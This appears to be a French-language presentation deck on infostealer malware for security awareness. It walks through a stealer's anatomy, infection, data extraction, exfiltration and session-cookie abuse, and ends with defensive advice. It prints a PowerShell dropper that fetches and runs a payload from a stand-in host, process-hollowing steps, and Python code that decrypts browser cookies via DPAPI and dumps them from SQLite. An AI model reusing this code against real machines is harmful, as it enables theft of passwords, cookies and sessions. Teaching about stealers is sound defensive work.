# Stealer Deep Dive

## 1. Introduction
🔥 CYBER SÉCURITÉ – PARTIE 2
Plongée au cœur des **Stealers** : le malware invisible
AU PROGRAMME :
| Numéro | Titre | Description |
| --- | --- | --- |
| 01. | L'Anatomie du Malware | Comprendre comment un Stealer s'initialise et cible vos données. |
| 02. | Le Cycle de l'Attaque | De l'infection (Droppers) à l'exfiltration des données (C2). |
| 03. | Techniques de Bypass | Comment ils contournent l'authentification et volent vos sessions. |
| 04. | Analyse de Cas réels | Étude des Stealers connus et de leur code source. |
:icon-shield-half:

## Anecdote Personnelle
COMMENT TOUT A COMMENCÉ...
Quand j'étais un peu plus jeune, sur mon premier ordinateur portable, je voulais tester et bidouiller plein de choses...
Je suis tombé sur une vidéo YouTube qui proposait un **générateur de codes Discord Nitro**. Naïvement, je l'ai téléchargé et exécuté. Il s'agissait en réalité d'un **Stealer**.
Mon compte Discord a été piraté (très difficile de le récupérer). Quelques semaines plus tard, je recevais des alertes Google : mes **mots de passe avaient été publiés sur internet...**
:icon-alert-triangle:

## Lexique Rapide
LEXIQUE RAPIDE
Les termes techniques à connaître
| Mot | Définition |
| --- | --- |
| Anti-VM | Technique empêchant le malware de s'exécuter s'il détecte qu'il est analysé dans une Machine Virtuelle. |
| Process Hollowing | Vider un programme sain de son code pour y cacher le malware, trompant ainsi l'antivirus. |
| DPAPI | Outil Windows de chiffrement. Le malware l'exploite pour déchiffrer les mots de passe et cookies locaux. |
| SQLite Dump | Copier les bases de données internes des navigateurs (historique, cookies) pour les extraire. |
| Dropper | Un petit fichier (faux crack, document) dont l'unique but est de télécharger le Stealer principal. |
| C2 Server | Serveur "Command & Control" utilisé par les hackers pour recevoir les données volées. |

## Anatomie d'un Stealer
ANATOMIE D'UN INFOSTEALER
Initialisation & Anti-Analyse
def main():
    # 1. Anti-Analyse
    if is_virtual_machine() or is_debugger_present():
        sys.exit()
    
    # 2. Préparation
    setup_mutex('Stealer_v2_Lock')
    temp_dir = create_hidden_dir(r'%TEMP%\sys_cache')
    
    # 3. Récolte silencieuse
    harvest_browsers(temp_dir)
    harvest_crypto(temp_dir)
    harvest_discord(temp_dir)
    
    # 4. Envoi des données
    exfiltrate(temp_dir)
Le malware commence presque toujours par vérifier son environnement (Anti-VM, Debugger) pour compliquer l'analyse par les chercheurs en cybersécurité. Il crée ensuite un dossier temporaire caché où il va agréger toutes les données volées avant de les envoyer d'un seul bloc.
:icon-shield-alert:

## Cartographie des Cibles
CARTOGRAPHIE DES CIBLES
Recherche des chemins stratégiques
string[] browserPaths = {
    @"Google\Chrome\User Data\Default",
    @"BraveSoftware\Brave-Browser\User Data\Default",
    @"Opera Software\Opera Stable"
};

foreach(var path in browserPaths) {
    string fullPath = Path.Combine(
        Environment.GetFolderPath(
            Environment.SpecialFolder.LocalApplicationData
        ), path
    );
    
    if (Directory.Exists(fullPath)) {
        Console.WriteLine("[+] Cible trouvée: " + fullPath);
        StealData(fullPath);
    }
}
Les Stealers ne scannent pas tout le disque dur pour rester très rapides (quelques secondes suffisent). Ils ciblent directement les chemins d'installation par défaut connus des navigateurs, wallets et applications comme Discord dans les dossiers AppData.
:icon-folder-search:

## 2. Étape 1 : Infection
COMMENT FONCTIONNE UN STEALER ?
ÉTAPE 1 : INFECTION
| Texte |
| --- |
| Phishing ciblé |
| Crack logiciel & Keygens |
| Faux cheats / générateurs |
| Pièces jointes malveillantes |
ÉTAPE 2 : EXÉCUTION SILENCIEUSE
| Texte |
| --- |
| Bypass Antivirus (FUD) |
| Obfuscation avancée |
| Process Hollowing |
| Injection mémoire |
:icon-biohazard:
:icon-cpu:
:icon-arrow-right:

## Détail : Droppers
VECTEUR : DROPPER & POWERSHELL
Le premier maillon de la chaîne
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "
  $url = 'http://malicious.com/payload.exe';
  $path = $env:TEMP + '\svchost.exe';
  
  # Téléchargement silencieux
  (New-Object System.Net.WebClient).DownloadFile($url, $path);
  
  # Exécution du malware
  Start-Process -FilePath $path -WindowStyle Hidden;
"
Un 'dropper' (souvent une fausse application, un crack ou une macro Word) est chargé de télécharger silencieusement le Stealer principal. Il l'exécute de manière masquée en usurpant souvent un nom système comme 'svchost.exe' pour ne pas éveiller les soupçons.
:icon-download-cloud:

## Détail : Process Hollowing
FURTIVITÉ : PROCESS HOLLOWING
Se cacher dans un processus légitime
PROCESS_INFORMATION pi;
// 1. Création d'un processus système légitime en pause
CreateProcess("C:\\Windows\\System32\\svchost.exe", 
              CREATE_SUSPENDED, ...);

// 2. Vidage de la mémoire du processus sain
NtUnmapViewOfSection(pi.hProcess, BaseAddress);

// 3. Injection du code du Stealer dans cette coquille vide
WriteProcessMemory(pi.hProcess, BaseAddress, 
                   payload, payloadSize, NULL);

// 4. Reprise de l'exécution (invisible pour l'utilisateur)
ResumeThread(pi.hThread);
Le Process Hollowing est une technique avancée pour contourner les antivirus. Le malware lance un programme légitime de Windows en mode suspendu, vide sa mémoire, y injecte son propre code malveillant, puis le relance. L'antivirus ne voit qu'un 'svchost.exe' classique en cours d'exécution.
:icon-ghost:

## 3. Étape 2 : Extraction
ÉTAPE 3 : EXTRACTION DES DONNÉES
| Icon | Titre | Description | Tech |
| --- | --- | --- | --- |
| :icon-chrome: | Navigateurs | Vol des cookies et Login Data | SQLite Dump • DPAPI Decryption |
| :icon-message-square: | Tokens Discord/JWT | Lecture LocalStorage & LevelDB | Regex Pattern • API Verify |
| :icon-wallet: | Crypto Wallets | MetaMask, Exodus, Atomic | Seed Phrase • Private Key |
| :icon-keyboard: | Keylogging | Capture des frappes et presse-papier | Keyboard Hook • Screenshots |

## Détail : Cryptographie DPAPI
CRYPTOGRAPHIE : BYPASS DPAPI
Voler la clé maîtresse du navigateur
from ctypes import windll, byref, c_buffer
# Code inspiré du malware Ayhu Stealer

def CryptUnprotectData(encrypted_bytes):
    buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
    blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
    blob_out = DATA_BLOB()

    # 🚨 L'appel fatidique à l'API Windows
    # Déchiffrement silencieux avec les droits de la session active
    if windll.crypt32.CryptUnprotectData(
        byref(blob_in), None, None, None, None, 0x01, byref(blob_out)
    ):
        return GetData(blob_out)
Les navigateurs comme Chrome protègent la clé de chiffrement des cookies via l'API Windows DPAPI. L'énorme faiblesse exploitée par le malware est que n'importe quel programme exécuté par l'utilisateur peut demander à Windows de déchiffrer cette clé silencieusement.
:icon-unlock-keyhole:

## Détail : SQLite Dump
EXTRACTION : SQLITE DUMP
Récupération massive des cookies
import sqlite3
import shutil

# 1. Copie pour contourner le verrouillage du navigateur
tempfold = temp_dir + "wp_" + random_string(8) + ".db"
shutil.copy2(pathC, tempfold)

# 2. Lecture de la DB SQLite volée
conn = sqlite3.connect(tempfold)
cursor = conn.cursor()
cursor.execute('SELECT host_key, name, encrypted_value FROM cookies')
data = cursor.fetchall()

# 3. Déchiffrement massif
for row in data:
    decrypted_val = DecryptValue(row[2], master_key_dpapi)
    Cookies.append(f"HOST: {row[0]} | NAME: {row[1]} | VAL: {decrypted_val}")
Les navigateurs stockent l'historique, les mots de passe et les cookies dans des bases de données SQLite locales. Le malware copie ces fichiers pour éviter les erreurs de verrouillage, extrait les données chiffrées, et applique la Master Key volée pour déchiffrer le tout (AES-256-GCM).
:icon-database:

## 4. Étape 3 : Exfiltration
EXFILTRATION DES DONNÉES
Comment les données quittent la machine
| Icon | Texte |
| --- | --- |
| :icon-webhook: | Webhook Discord |
| :icon-server: | Serveur C2 |
| :icon-lock: | API HTTP Chiffrée |
| :icon-send: | Bot Telegram |
| Étape |
| --- |
| Compression ZIP |
| Envoi Externe |
| Revente sur Market |
| Mot |
| --- |
| C2 Server |
| Data Dump |
| Log Market |

## 5. Contournement de l'Auth
POURQUOI LES COOKIES ?
Contourner l'authentification sans mot de passe
Cookie Volé (ID + JWT)
Rejeu de Session
Bypass Login & MFA
:icon-cookie:
:icon-repeat:
:icon-unlock:
| Mot |
| --- |
| Session Replay |
| Authentication Bypass |
| Token Reuse |

## 6. Stealers Connus
LES STEALERS LES PLUS CONNUS
L'économie du Malware-as-a-Service (MaaS)
| Nom |
| --- |
| RedLine Stealer |
| Raccoon Stealer |
| Vidar |
| Lumma |
| Icon | Texte |
| --- | --- |
| :icon-shopping-cart: | Vente sur forums underground |
| :icon-calendar: | Abonnement mensuel (MaaS) |
| :icon-headset: | Support technique inclus |
| Mot |
| --- |
| Dark Web |
| MaaS |
| Cybercrime Economy |

## 7. Conclusion
CONCLUSION
“Un mot de passe peut être protégé.<br>Une session active volée, c'est une porte déjà ouverte.”
| Icône | Titre | Description |
| --- | --- | --- |
| :icon-layers: | Sécurité multi-couches | L'authentification forte (2FA) ne suffit pas si le cookie de session est dérobé. Il faut sécuriser l'endpoint. |
| :icon-users: | Sensibilisation | Former les utilisateurs aux dangers des cracks, faux générateurs et pièces jointes inattendues. |
| :icon-activity: | Surveillance continue | Implémenter une approche Zero Trust, surveiller les comportements anormaux et la rotation des tokens. |

## Questions & Réponses
MERCI DE M'AVOIR ÉCOUTÉ
Avez-vous des questions ?
:icon-message-circle-question: